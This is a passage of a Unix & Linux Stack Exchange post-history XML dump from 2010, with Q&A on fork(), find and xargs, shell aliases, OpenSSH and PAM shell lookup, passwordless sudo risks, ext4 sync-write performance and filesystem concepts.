where does the child process begin its execution? Thanks for reading this.&#xD;&#xA;" />
  <row Id="9549" PostHistoryTypeId="1" PostId="4377" RevisionGUID="7e9af6db-aa28-41e3-ba6b-0eba5e9f3318" CreationDate="2010-11-28T02:36:00.217" UserDisplayName="thomas1234" Text="fork() question" />
  <row Id="9550" PostHistoryTypeId="3" PostId="4377" RevisionGUID="7e9af6db-aa28-41e3-ba6b-0eba5e9f3318" CreationDate="2010-11-28T02:36:00.217" UserDisplayName="thomas1234" Text="éprocessà" />
  <row Id="9551" PostHistoryTypeId="5" PostId="4377" RevisionGUID="987d39bb-672e-4c25-a5ef-572a52e5b974" CreationDate="2010-11-28T02:46:10.157" UserId="73" Comment="deleted 23 characters in body" Text="I'm trying to learn UNIX programming and came across a question regarding fork(). I understand that fork() creates an identical process of the currently running process, but where does it start? For example, if I have code&#xD;&#xA;&#xD;&#xA;    int main (int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;        int retval;&#xD;&#xA;        printf (&quot;This is most definitely the parent process\n&quot;);&#xD;&#xA;        fflush (stdout);&#xD;&#xA;        retval = fork ();&#xD;&#xA;        printf (&quot;Which process printed this?\n&quot;);&#xD;&#xA;    &#xD;&#xA;        return (EXIT_SUCCESS);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The output is:&#xD;&#xA;&#xD;&#xA;&gt; This is most definitely the parent process  &#xD;&#xA;Which process printed this?  &#xD;&#xA;Which process printed this?&#xD;&#xA;&#xD;&#xA;I thought that `fork()` creates a same process, so I initially that that in that program, the `fork()` call would be recursively called forever. I guess that new process created from `fork()` starts after the `fork()` call?&#xD;&#xA;&#xD;&#xA;If I add the following code, to differentiate between a parent and child process,&#xD;&#xA;&#xD;&#xA;    if (child_pid = fork ()) printf (&quot;This is the parent, child pid is %d\n&quot;, child_pid);&#xD;&#xA;    else printf (&quot;This is the child, pid is %d\n&quot;,getpid ());&#xD;&#xA;&#xD;&#xA;after the fork() call, where does the child process begin its execution?" />
  <row Id="9552" PostHistoryTypeId="2" PostId="4378" RevisionGUID="0d3b7d6b-b5ea-4208-b518-b948b89ee9fc" CreationDate="2010-11-28T02:48:45.427" UserId="73" Text="The new process will be created within the `fork()` call, and will start by returning from it just like the parent. The return value (which you stored in `retval`) from `fork()` will be:&#xD;&#xA;&#xD;&#xA;* 0 in the child process&#xD;&#xA;* The PID of the child in the parent process&#xD;&#xA;* -1 in the parent if there was a failure (there is no child, naturally)&#xD;&#xA;&#xD;&#xA;Your testing code works correctly; it stores the return value from `fork()` in `child_pid` and uses `if` to check if it's 0 or not (although it doesn't check for an error)" />
  <row Id="9553" PostHistoryTypeId="2" PostId="4379" RevisionGUID="620be979-8435-457a-902d-292600e08bae" CreationDate="2010-11-28T12:32:03.647" UserId="2179" Text="&gt; I thought that fork() creates a same process, so I initially that that in that program, the fork() call would be recursively called forever. I guess that new process created from fork() starts after the fork() call?&#xD;&#xA;&#xD;&#xA;Yes. Let's number the lines:&#xD;&#xA;&#xD;&#xA;    int main (int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;        int retval;                                               /* 1 */&#xD;&#xA;        printf (&quot;This is most definitely the parent process\n&quot;);  /* 2 */&#xD;&#xA;        fflush (stdout);                                          /* 3 */&#xD;&#xA;        retval = fork ();                                         /* 4 */&#xD;&#xA;        printf (&quot;Which process printed this?\n&quot;);                 /* 5 */&#xD;&#xA;        return (EXIT_SUCCESS);                                    /* 6 */&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The execution flow is:&#xD;&#xA;&#xD;&#xA;    caller process     fork() → ...&#xD;&#xA;                              ↘&#xD;&#xA;    original program            exec() → 2 → 3 → 4 → 5 → 6&#xD;&#xA;                                                   ↘&#xD;&#xA;    forked program                                   5 → 6&#xD;&#xA;&#xD;&#xA;...which explains exactly the output you received.&#xD;&#xA;&#xD;&#xA;If you want to know how the original and forked program can possibly behave differently, since they necessarily share the same code, see [Michael Mrozek's answer.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4377/fork-question/4378#4378" />
  <row Id="9554" PostHistoryTypeId="2" PostId="4380" RevisionGUID="26e64857-35e5-4bd4-b190-291883d77f8b" CreationDate="2010-11-28T12:33:07.810" UserId="2856" Text="&lt;a href=&quot;http://logcheck.org/&quot;&gt;Logcheck&lt;/a&gt; is a simple utility which is designed to allow a system administrator to view the logfiles which are produced upon hosts under their control.&#xD;&#xA;&#xD;&#xA;It does this by mailing summaries of the logfiles to them, after first filtering out &quot;normal&quot; entries. Normal entries are entries which match one of the many included regular expression files contain in the database.&#xD;&#xA;&#xD;&#xA;You should watch your logs as one part of a healthy security routine. It'll also help trap a lot of other (hardware, auth, load...) anomalies.&#xD;&#xA;" />
  <row Id="9555" PostHistoryTypeId="5" PostId="4341" RevisionGUID="6d348539-62c7-490c-95e0-fc177fd12978" CreationDate="2010-11-28T13:11:39.133" UserId="2180" Comment="add examples" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program, it will give you its location, if it is an alias, it will tell you what it's aliased to, if it's a function, it will print the funciton; otherwise, it will tell you if it is a built-in or a keyword.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;    $ type find&#xD;&#xA;    find is /usr/bin/find&#xD;&#xA;    $ type grep&#xD;&#xA;    grep is aliased to `grep --color=auto --binary-files=without-match --devices=skip'&#xD;&#xA;    $ type hello_hn&#xD;&#xA;    hello_hn is a function&#xD;&#xA;    hello_hn () &#xD;&#xA;    { &#xD;&#xA;      echo 'Hello, Hacker News!'&#xD;&#xA;    }&#xD;&#xA;    $ type type&#xD;&#xA;    type is a shell builtin&#xD;&#xA;    $ type for&#xD;&#xA;    for is a shell keyword&#xD;&#xA;    $ type nosuchthing&#xD;&#xA;    -bash: type: nosuchthing: not found" />
  <row Id="9560" PostHistoryTypeId="2" PostId="4382" RevisionGUID="0b739727-31da-4b02-86cf-42410522c5b7" CreationDate="2010-11-28T15:09:51.637" UserId="2407" Text="I know I can open multiple files found in a dir like so:&#xD;&#xA;&#xD;&#xA;`find -name *.foo -xargs &lt;command&gt; {} \;`&#xD;&#xA;&#xD;&#xA;This works, but when trying to open a bunch of textfiles in gedit at the same time, it opens them successively (when one files is closed, the next one is opened). &#xD;&#xA;&#xD;&#xA;I would like to open all of those files at the same time? &#xD;&#xA;How can I achieve this?" />
  <row Id="9561" PostHistoryTypeId="1" PostId="4382" RevisionGUID="0b739727-31da-4b02-86cf-42410522c5b7" CreationDate="2010-11-28T15:09:51.637" UserId="2407" Text="How to open multiple files from `find` output?" />
  <row Id="9562" PostHistoryTypeId="3" PostId="4382" RevisionGUID="0b739727-31da-4b02-86cf-42410522c5b7" CreationDate="2010-11-28T15:09:51.637" UserId="2407" Text="ébashàéfindàéxargsà" />
  <row Id="9565" PostHistoryTypeId="2" PostId="4384" RevisionGUID="bdef32d6-96ee-495c-ab9e-07bf6d621780" CreationDate="2010-11-28T15:20:21.937" UserId="2661" Text="I think that in this case you could use&#xD;&#xA;&#xD;&#xA;    find ./ -name \*.foo | xargs gedit&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9566" PostHistoryTypeId="2" PostId="4385" RevisionGUID="2ed17501-28c2-4c11-beed-18411e477d78" CreationDate="2010-11-28T15:32:19.710" UserId="885" Text="To act on multiple files at once with `find`, use `+` instead of `\;`:&#xD;&#xA;&#xD;&#xA;    find . -name '*.foo' -exec gedit {} +&#xD;&#xA;&#xD;&#xA;With zsh, or with bash ≥4 if you put `shopt -s globstar` in your `~/.bashrc`, you can use `**/` to recurse into subdirectories:&#xD;&#xA;&#xD;&#xA;    gedit **/*.foo&#xD;&#xA;&#xD;&#xA;Zsh also has many [glob qualifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#SEC87) which can replace most uses of `find`.&#xD;&#xA;" />
  <row Id="9567" PostHistoryTypeId="5" PostId="4057" RevisionGUID="04282418-74f6-43b8-9828-7140dab6c1bc" CreationDate="2010-11-28T15:53:31.423" UserId="885" Comment="openssh always executes the shell from the user database, even for scp and sftp" Text="As far as I know, PAM doesn't determine the user's shell, this is left to the application. PAM's session modules perform generic actions and checks that must be done for on every login using that particular service. If the application then wants to start a shell, it is free to do so, and will typically look up the shell in the user database.&#xD;&#xA;&#xD;&#xA;Assuming your question is about [OpenSSH](http://www.openssh.org/), that's exactly what it does: once the user is authenticated, and the PAM session stuff has been done (if configured to use PAM¹), the ssh server looks up the shell in the user database (directly, not through the PAM library).&#xD;&#xA;&#xD;&#xA;The user database isn't limited to `/usr/passwd` and friends. On Linux (which I assume you're using since you mention `shadow`), what makes up the user database is determined by the `passwd` setting in [`/etc/nsswitch.conf`](http://linux.die.net/man/5/nsswitch.conf). In multi-computer setups, common additions to the local database are [NIS](http://en.wikipedia.org/wiki/Network_Information_Service) and [LDAP](http://en.wikipedia.org/wiki/LDAP). If you want to use a shell that isn't the one in `/etc/passwd`, this may be what to configure (although it would be a bit strange, and maybe people can offer better suggestions if you tell us what you're trying to accomplish).&#xD;&#xA;&#xD;&#xA;If you want to have users without full shell access, the natural solution is to change `/etc/passwd` to put a restricted shell — perhaps [rssh](http://www.pizzashack.org/rssh/) to allow only a few file-copying-type applications such as scp, rsync and cvs. You can also use forced commands in the user's [`~/.ssh/authorized_keys` file](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8).&#xD;&#xA;&#xD;&#xA;If you'd like to see a trace of what the ssh server is doing, start the daemon as `ssh -ddd`. You can also get the client's view with `ssh -vvv`, though here the server's view is what will interest you most.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;OpenSSH only uses PAM if it is configured with PAM support and the `UsePAM` directive is set to `yes` in `sshd_config`. Even when it uses PAM, it offers other authentication methods in addition to PAM; in particular public key authentication does not go through PAM.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="9569" PostHistoryTypeId="2" PostId="4386" RevisionGUID="cc2e20d8-eaa9-411c-ab1c-fcf0ced613f1" CreationDate="2010-11-28T16:33:38.900" UserId="2648" Text="The easiest way is to use atool: http://www.nongnu.org/atool/&#xD;&#xA;It is a very good script that use zip, unzip, tar, rar etc. programs to extract any archive.&#xD;&#xA;&#xD;&#xA;Use &lt;code&gt;atool -x package_name.zip&lt;/code&gt; to unzip them all or if you wanna use it in directory with many zip files use simple &lt;code&gt;for&lt;/code&gt; loop:&#xD;&#xA;&lt;code&gt;for f in *; do atool -x $f; fi&lt;/code&gt; (you will have to &lt;code&gt;cd&lt;/code&gt; into desired directory with zip files before you use this)." />
  <row Id="9570" PostHistoryTypeId="2" PostId="4387" RevisionGUID="da8946cd-e71e-441f-97d2-8802ea94ed43" CreationDate="2010-11-28T17:25:47.373" UserId="250" Text="I'm not even sure what the problem is, but I'm talking about the kernel attack described [here][1]. Down this list of [comments][2] somebody [asked][3] about renicing the process. The trick didn't improve the situation (the machine still runs in a very sluggish fashion) and the replying comment says something about kernel space vs user space.&#xD;&#xA;&#xD;&#xA;First of, is the replying comment correct? If so, why does renice work for things in user space and not for things in kernel space? Also, according to what I [read][4], all programs that a user starts emself should be in user space, what did I miss?&#xD;&#xA;&#xD;&#xA;If it is incorrect, then why doesn't renice improve the situation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lkml.org/lkml/2010/11/25/8&#xD;&#xA;  [2]: http://news.ycombinator.com/item?id=1940627&#xD;&#xA;  [3]: http://news.ycombinator.com/item?id=1941133&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/User_space" />
  <row Id="9571" PostHistoryTypeId="1" PostId="4387" RevisionGUID="da8946cd-e71e-441f-97d2-8802ea94ed43" CreationDate="2010-11-28T17:25:47.373" UserId="250" Text="Why should a user program mess with kernel space?" />
  <row Id="9572" PostHistoryTypeId="3" PostId="4387" RevisionGUID="da8946cd-e71e-441f-97d2-8802ea94ed43" CreationDate="2010-11-28T17:25:47.373" UserId="250" Text="ékernelàékernelöattackàéuseröspaceàékernelöspaceà" />
  <row Id="9573" PostHistoryTypeId="2" PostId="4388" RevisionGUID="809853cb-1438-48d2-a723-9253d5e3a271" CreationDate="2010-11-28T17:59:54.643" UserId="2180" Text="There are services a kernel provides to user-space (such as opening sockets). There is a well-defined interface (API) that user-space programs can interact with the kernel through. &#xD;&#xA;&#xD;&#xA;In this case, the user-space program is repeatedly opening sockets and sending file descriptors through them, then closing the sockets. These actions are performed by the kernel. It will hold the file descriptor in a buffer until the other end of the socket reads it. The particular bug is that a garbage collector should eventually free the file descriptor, but it doesn't - the fd gets leaked.  The leaked fds add up and sit there consuming resources. Killing the program doesn't free the resources because they are not owned by the program." />
  <row Id="9574" PostHistoryTypeId="2" PostId="4389" RevisionGUID="8fbcbb0f-d6a0-4401-9464-4e62b5102600" CreationDate="2010-11-28T21:02:29.737" UserId="2857" Text="I am running ActiveMQ on my Macbook Pro that runs Ubuntu 10.10, 32 bits with an ext4 partition.&#xD;&#xA;&#xD;&#xA;    Linux iker-laptop 2.6.35-23-generic-pae #40-Ubuntu SMP Wed Nov 17 22:32:51 UTC 2010 i686 GNU/Linux&#xD;&#xA;    &#xD;&#xA;If I enable persistence in ActiveMQ the performance drops terribly. I've tested the same thing on other machines and the difference is of 2 orders of magnitude.&#xD;&#xA;&#xD;&#xA;There is a tool with activeMQ to test the HD, here are the results:&#xD;&#xA;&#xD;&#xA;    iker@iker-laptop:~/apps/apache-activemq-5.4.1$ java -classpath lib/kahadb-5.4.1.jar org.apache.kahadb.util.DiskBenchmark &#xD;&#xA;    &#xD;&#xA;    Benchmarking: /home/iker/apps/apache-activemq-5.4.1/disk-benchmark.dat&#xD;&#xA;    Writes: &#xD;&#xA;      146171 writes of size 4096 written in 11.074 seconds.&#xD;&#xA;      13199.477 writes/second.&#xD;&#xA;      51.560455 megs/second.&#xD;&#xA;    &#xD;&#xA;    Sync Writes: &#xD;&#xA;      197 writes of size 4096 written in 10.006 seconds.&#xD;&#xA;      19.688187 writes/second.&#xD;&#xA;      0.07690698 megs/second.&#xD;&#xA;    &#xD;&#xA;    Reads: &#xD;&#xA;      5589861 reads of size 4096 read in 10.001 seconds.&#xD;&#xA;      558930.2 writes/second.&#xD;&#xA;      2183.321 megs/second.&#xD;&#xA;&#xD;&#xA;Performance for Sync Writes is s**t. There must be something misconfigured, but this is the only app where I've noticed a HD performace issue.&#xD;&#xA;&#xD;&#xA;hdparm throws expected values:&#xD;&#xA;&#xD;&#xA;    iker@iker-laptop:~$ sudo hdparm -tT /dev/sda&#xD;&#xA;    &#xD;&#xA;    /dev/sda:&#xD;&#xA;     Timing cached reads:   6282 MB in  2.00 seconds = 3141.73 MB/sec&#xD;&#xA;     Timing buffered disk reads:  240 MB in  3.00 seconds =  79.88 MB/sec" />
  <row Id="9575" PostHistoryTypeId="1" PostId="4389" RevisionGUID="8fbcbb0f-d6a0-4401-9464-4e62b5102600" CreationDate="2010-11-28T21:02:29.737" UserId="2857" Text="Sync writes very slow. Ubuntu 10.10, 32 bits, ext4" />
  <row Id="9576" PostHistoryTypeId="3" PostId="4389" RevisionGUID="8fbcbb0f-d6a0-4401-9464-4e62b5102600" CreationDate="2010-11-28T21:02:29.737" UserId="2857" Text="élinuxàéperformanceàéext4àéhardödiskà" />
  <row Id="9577" PostHistoryTypeId="2" PostId="4390" RevisionGUID="817092cd-0eb0-4c4d-bcd7-e411d3d3a8a2" CreationDate="2010-11-28T22:19:48.780" UserId="2819" Text="Here are some [instructions][1] on how to disable your sudo password. These carry the following warning&#xD;&#xA;&#xD;&#xA;&gt; If you disable the sudo password for your account, you will seriously compromise the security of your computer. Anyone sitting at your unattended, logged in account will have complete root access, and remote exploits become much easier for malicious crackers.&#xD;&#xA;&#xD;&#xA;I'm not worried about people gaining physical access to my machine. What remote exploits are made possible or easier if I were to ignore this warning and disable the password?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RootSudo" />
  <row Id="9578" PostHistoryTypeId="1" PostId="4390" RevisionGUID="817092cd-0eb0-4c4d-bcd7-e411d3d3a8a2" CreationDate="2010-11-28T22:19:48.780" UserId="2819" Text="What specific vulnerabilities am I creating by disabling the sudo password?" />
  <row Id="9579" PostHistoryTypeId="3" PostId="4390" RevisionGUID="817092cd-0eb0-4c4d-bcd7-e411d3d3a8a2" CreationDate="2010-11-28T22:19:48.780" UserId="2819" Text="éubuntuàépasswordàésudoà" />
  <row Id="9580" PostHistoryTypeId="6" PostId="4389" RevisionGUID="2d09897f-af81-4ac2-a11a-02be1fcb3364" CreationDate="2010-11-28T23:12:48.380" UserId="885" Comment="edited tags" Text="élinuxàéperformanceàéext4àéhardödiskàéactivemqà" />
  <row Id="9581" PostHistoryTypeId="2" PostId="4391" RevisionGUID="f6691640-2a8b-45d3-b518-a1949b05fcd9" CreationDate="2010-11-28T23:35:06.263" UserId="885" Text="If you allow passwordless sudo, anyone who manages to run code on your machine as your user can trivially run code as root. This could be someone who uses your console while you're logged in but not in front of your computer, which you're not worried about (anyway, someone with physical access can do pretty much what they want). This could also be someone who accesses your account on another machine where you've ssh'ed to your own machine. But it could also be someone exploiting a remote security hole — for example a web site that exploits a browser bug to inject code into your browser instance.&#xD;&#xA;&#xD;&#xA;How big a deal is it? Not that much, for several reasons:&#xD;&#xA;&#xD;&#xA;* An attacker who's found a remote hole can probably find a local root hole as well.&#xD;&#xA;* A number of attackers don't care about root privileges. All they want is to send spam and infect other machines, and they can do it as your user.&#xD;&#xA;* An attacker who has access to your account can drop a trojan that captures your keystrokes (including your password) or that piggybacks onto whatever means you next use to gain root to execute command of its own.&#xD;&#xA;* If you're the only user on your machine, there isn't much to protect that isn't accessible as your user.&#xD;&#xA;&#xD;&#xA;On the other hand:&#xD;&#xA;&#xD;&#xA;* If you're up-to-date with the security updates, the attacker may not find a local hole to exploit.&#xD;&#xA;* A non-root attacker can't erase his tracks very well.&#xD;&#xA;* Having to type a password now and then isn't much of a burden.&#xD;&#xA;* Having to type a password reminds you that you're doing something dangerous (as in: may lose data or make your computer unusable). (As a non-root user, the only real danger is erasing data by mistake, and it's usually obvious when you're erasing something and should be extra careful.)&#xD;&#xA;" />
  <row Id="9582" PostHistoryTypeId="2" PostId="4392" RevisionGUID="d401db16-74a6-4eeb-8a92-96dbfbd8abc8" CreationDate="2010-11-28T23:42:34.103" UserId="2661" Text="I think that password for sudo could protect you only from two things:&#xD;&#xA;&#xD;&#xA; 1. accidental damage of your own system (for example running some `rm -rf` with relative path from shell history in different directory than previously, or something like this)&#xD;&#xA; 2. running (malicious) script that invokes `sudo` and try to hurt your system (but I don't think that this kind of malicious software is very popular)&#xD;&#xA;&#xD;&#xA;If you want you could use `NOPASSWD` option only for selected commands that won't hurt your system (for editors or for restarting services) and keep password for other commands." />
  <row Id="9583" PostHistoryTypeId="2" PostId="4393" RevisionGUID="10fac3c7-6985-4473-a52e-7c6fbc676603" CreationDate="2010-11-28T23:49:44.400" UserDisplayName="Keith" Text="KDE has a program called KHotkey.  It's hard to find in the OS, slow and hard to set up and test macros... but it works well once you get the macros working.  I used it for years but once I tried Autokey I dumped it.&#xD;&#xA;&#xD;&#xA;Both work system wide.  Autokey is written in python and you can add python scripts to your macro with no problem.&#xD;&#xA;&#xD;&#xA;See more info at these web sites (www is not required and the probably won't work if you use it--just add the http part):&#xD;&#xA;&#xD;&#xA;autokey.sourceforge.net&#xD;&#xA;&#xD;&#xA;code.google.com/p/autokey&#xD;&#xA;&#xD;&#xA;groups.google.com/group/autokey-users&#xD;&#xA;&#xD;&#xA;If you use any version of Ubuntu use this site, instructions on how to do the install are on the web page.: &#xD;&#xA;&#xD;&#xA;     https://launchpad.net/~cdekter/+archive/ppa&#xD;&#xA;&#xD;&#xA;Make sure you install vs 0.71.1 or later.  Earlier versions have problems with using the shift key to create hotkeys.&#xD;&#xA;" />
  <row Id="9584" PostHistoryTypeId="5" PostId="4393" RevisionGUID="7b418948-2a04-459f-98c3-c6ee7bf1d0b8" CreationDate="2010-11-29T00:03:42.007" UserId="885" Comment="made links hyperlinks" Text="KDE has a program called KHotkey.  It's hard to find in the OS, slow and hard to set up and test macros... but it works well once you get the macros working.  I used it for years but once I tried [Autokey](http://code.google.com/p/autokey) I dumped it.&#xD;&#xA;&#xD;&#xA;Both work system wide.  Autokey is written in python and you can add python scripts to your macro with no problem. There is an [Autokey discussion group](http://groups.google.com/group/autokey-users).&#xD;&#xA;&#xD;&#xA;If you use any version of Ubuntu, you can install from this [Autokey PPA](https://launchpad.net/~cdekter/+archive/ppa), instructions on how to do the install are on the web page.&#xD;&#xA;&#xD;&#xA;Make sure you install vs 0.71.1 or later.  Earlier versions have problems with using the shift key to create hotkeys.&#xD;&#xA;" />
  <row Id="9585" PostHistoryTypeId="2" PostId="4394" RevisionGUID="8c5c800c-f2d6-4976-834d-5a3535c74d0d" CreationDate="2010-11-29T03:51:11.810" UserId="1290" Text="I redefined all my `ls` shortcuts in my `.zshrc`.&#xD;&#xA;&#xD;&#xA;This is the relevant section:&#xD;&#xA;&#xD;&#xA;    # enable color support of ls and also add handy aliases&#xD;&#xA;    if [ &quot;$TERM&quot; != &quot;dumb&quot; ]; then&#xD;&#xA;        if [ -n ~/.dir_colors ]; then&#xD;&#xA;            eval &quot;`dircolors -b ~/.dir_colors`&quot;&#xD;&#xA;        else&#xD;&#xA;            eval &quot;`dircolors -b /etc/DIR_COLORS`&quot;&#xD;&#xA;        fi&#xD;&#xA;        alias ls='ls --color=auto'&#xD;&#xA;        #alias dir='ls --color=auto --format=vertical'&#xD;&#xA;        #alias vdir='ls --color=auto --format=long'&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # some more ls aliases&#xD;&#xA;    alias l='ls -CF'&#xD;&#xA;    alias ll='ls -ClhF'&#xD;&#xA;    alias la='ls -CaF'&#xD;&#xA;    alias lla='ls -CalhF'&#xD;&#xA;    alias l.='ls -CAF --ignore=\*'&#xD;&#xA;    alias ll.='ls -CAlhF --ignore=\*'&#xD;&#xA;    alias t='tree -C'&#xD;&#xA;&#xD;&#xA;Note that `ls` is redefined itself:&#xD;&#xA;&#xD;&#xA;    % type ls&#xD;&#xA;    ls is an alias for ls --color=auto" />
  <row Id="9586" PostHistoryTypeId="5" PostId="4355" RevisionGUID="c78b5fd3-636e-4615-a771-0792d0ace49d" CreationDate="2010-11-29T04:05:00.367" UserId="73" Comment="added 15 characters in body" Text="There is a `rename.ul` command (I guess by default in Ubuntu). It gives you a simple way to rename files&#xD;&#xA;&#xD;&#xA;Syntax:&#xD;&#xA;&#xD;&#xA;    $ rename from to file..." />
  <row Id="9587" PostHistoryTypeId="5" PostId="4354" RevisionGUID="8d9024ec-4ca3-4fe4-9b34-8c8b4003a1a0" CreationDate="2010-11-29T04:05:07.667" UserId="73" Comment="added 12 characters in body" Text="All your preferences will be saved inside the `.gconf` folder in xml files; you can manually edit those, or use the GUI interface, `gconf-editor`. The proper way to remove is to use `System` -&gt; `Preferences` -&gt; `Main menu` or the command `alacarte`" />
  <row Id="9588" PostHistoryTypeId="5" PostId="4353" RevisionGUID="894dedba-e8f5-49d6-9dea-ba51193dfa06" CreationDate="2010-11-29T04:05:09.210" UserId="73" Comment="added 17 characters in body" Text="&lt;kbd&gt;Shift+F&lt;/kbd&gt; will make `less` similar to `tailf`. That is, it gets refreshed if more data is appended to the file." />
  <row Id="9589" PostHistoryTypeId="5" PostId="4345" RevisionGUID="f5f3479b-0b8e-4f07-b00c-7dd8e5b8e78d" CreationDate="2010-11-29T05:31:56.717" UserId="2597" Comment="added 8 characters in body" Text="FIXED: `l` is an `alias` for `ls -CF` ( I am not really sure ) in the default `.bashrc` in ubuntu&#xD;&#xA;&#xD;&#xA;You can just type `alias` to check out all the aliases. It would be mentioned there." />
  <row Id="9590" PostHistoryTypeId="2" PostId="4395" RevisionGUID="d2b7df4d-ee95-41c6-9602-c71c0f471158" CreationDate="2010-11-29T06:43:31.463" UserId="2864" Text="You should use user's crontab instead of system-wide.&#xD;&#xA;&#xD;&#xA;Try crontab -e (opens user's crontab in $EDITOR) or echo 'your crontab line here' | crontab -&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9591" PostHistoryTypeId="2" PostId="4396" RevisionGUID="d60691c4-30c1-46b7-bd7f-ad2f22b32d3b" CreationDate="2010-11-29T07:54:05.943" UserId="2641" Text="From [another question][2]: [atool][1], which also handles various archive types and is more powerful than `unp` because it also handles listing of contents, finding differences between archives etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nongnu.org/atool/&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4367/extracting-nested-zip-files" />
  <row Id="9592" PostHistoryTypeId="2" PostId="4397" RevisionGUID="89cc1ee2-afae-4794-bf57-fb48b5440f2b" CreationDate="2010-11-29T10:03:40.620" UserId="1308" Text="hi,&#xD;&#xA;&#xD;&#xA;I have two Linux machines that keep pinging each other. With each ping request they attach a data packet in the response. The frequency of the pings can not be determined.&#xD;&#xA;&#xD;&#xA;How to determine how many GB's of data they transfer to each other via the Network ?&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="9593" PostHistoryTypeId="1" PostId="4397" RevisionGUID="89cc1ee2-afae-4794-bf57-fb48b5440f2b" CreationDate="2010-11-29T10:03:40.620" UserId="1308" Text="How to calculate the volume of data transferred between two Unix machines" />
  <row Id="9594" PostHistoryTypeId="3" PostId="4397" RevisionGUID="89cc1ee2-afae-4794-bf57-fb48b5440f2b" CreationDate="2010-11-29T10:03:40.620" UserId="1308" Text="énetworkingà" />
  <row Id="9595" PostHistoryTypeId="2" PostId="4398" RevisionGUID="6ba9466e-a5c2-4932-9087-5a3935b562c5" CreationDate="2010-11-29T10:49:03.830" UserId="1026" Text="Found a better way to do it, just:&#xD;&#xA;&#xD;&#xA; 1. Menu&#xD;&#xA; 2. Settings &#xD;&#xA; 3. Window Manager Tweaks  &#xD;&#xA; 4. Compositor Tab  &#xD;&#xA; 5. Uncheck &quot;Enable display compositing&quot;&#xD;&#xA;&#xD;&#xA;I think this is better since it doesn't involve installing new application and it did help me prevent tearing when watching HD movies. " />
  <row Id="9596" PostHistoryTypeId="2" PostId="4399" RevisionGUID="970c57b5-992d-4a2b-bbc7-1406582b9e3e" CreationDate="2010-11-29T10:50:19.577" UserId="2557" Text="you can see statistics with `ifconfig`." />
  <row Id="9597" PostHistoryTypeId="2" PostId="4400" RevisionGUID="55d293c4-0261-4a85-b08f-2d95fb46a269" CreationDate="2010-11-29T11:05:59.873" UserId="252" Text="You can check which program is using data with `nethogs` (&lt;http://nethogs.sourceforge.net/&gt;)." />
  <row Id="9598" PostHistoryTypeId="5" PostId="1340" RevisionGUID="a158ddfd-6d6a-4732-8cde-761adc994b8a" CreationDate="2010-11-29T12:45:17.367" UserId="131" Comment="deleted 3 characters in body" Text="At the moment, if I download a compressed file, it could be any of a .tar.gz archive, a tar.bz2 arhive, a .zip archive or a .gz archive. And each time I do so, I have to remember what the command line options for that program are.&#xD;&#xA;&#xD;&#xA;Is there any CLI program where I can just go:&#xD;&#xA;&#xD;&#xA;undocompression somefile.??&#xD;&#xA;&#xD;&#xA;and let it figure out what format the archive is in? (overly long name used to avoid conflicting with any real program)" />
  <row Id="9599" PostHistoryTypeId="2" PostId="4401" RevisionGUID="d2ffab9f-caf8-4f61-988e-03b97a9947ae" CreationDate="2010-11-29T14:04:16.160" UserId="688" Text="I'm looking for GUI tool that allows searching svn history, and more than just log messages." />
  <row Id="9600" PostHistoryTypeId="1" PostId="4401" RevisionGUID="d2ffab9f-caf8-4f61-988e-03b97a9947ae" CreationDate="2010-11-29T14:04:16.160" UserId="688" Text="Which GUI svn client allows searching through history?" />
  <row Id="9601" PostHistoryTypeId="3" PostId="4401" RevisionGUID="d2ffab9f-caf8-4f61-988e-03b97a9947ae" CreationDate="2010-11-29T14:04:16.160" UserId="688" Text="éguiàésubversionà" />
  <row Id="9602" PostHistoryTypeId="2" PostId="4402" RevisionGUID="0d68dc25-7274-449c-9eea-9c1c08253529" CreationDate="2010-11-29T14:20:41.883" UserId="2871" Text="Hi all,  &#xD;&#xA;From the article **Anatomy of Linux File Systems** by Tim Jones, i read that Linux views all the file systems from the perspective of a common set of objects and these objects are ***superblock***, ***inode***, ***dentry*** and ***file***. Even though the rest of the paragraph explains the above i was not that comfortable with that explanation.&#xD;&#xA;&#xD;&#xA;Could somebody explain me these terms?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;" />
  <row Id="9603" PostHistoryTypeId="1" PostId="4402" RevisionGUID="0d68dc25-7274-449c-9eea-9c1c08253529" CreationDate="2010-11-29T14:20:41.883" UserId="2871" Text="What is a Superblock, Inode, Dentry and a File?" />
  <row Id="9604" PostHistoryTypeId="3" PostId="4402" RevisionGUID="0d68dc25-7274-449c-9eea-9c1c08253529" CreationDate="2010-11-29T14:20:41.883" UserId="2871" Text="élinuxàéfilesystemsà" />
  <row Id="9605" PostHistoryTypeId="2" PostId="4403" RevisionGUID="e85bcd49-7e91-462c-90ee-013e2cc81555" CreationDate="2010-11-29T14:53:02.153" UserId="2701" Text="First and foremost, and I realize that it was not one of the terms from your question, you must understand *metadata*. Succinctly, and stolen from Wikipedia, metadata is data about data. That is to say that metadata contains information about a piece of data. For example, if I own a car then I have a set of information about the car but which is not part of the car itself. Information such as the registration number, make, model, year of manufacture, insurance information, and so on. All of that information is collectively referred to as the metadata. In Linux and UNIX file systems metadata exists at multiple levels of organization as you will see.&#xD;&#xA;&#xD;&#xA;The superblock is essentially file system metadata and defines the file system type, size, status, and information about other metadata structures (metadata of metadata). The 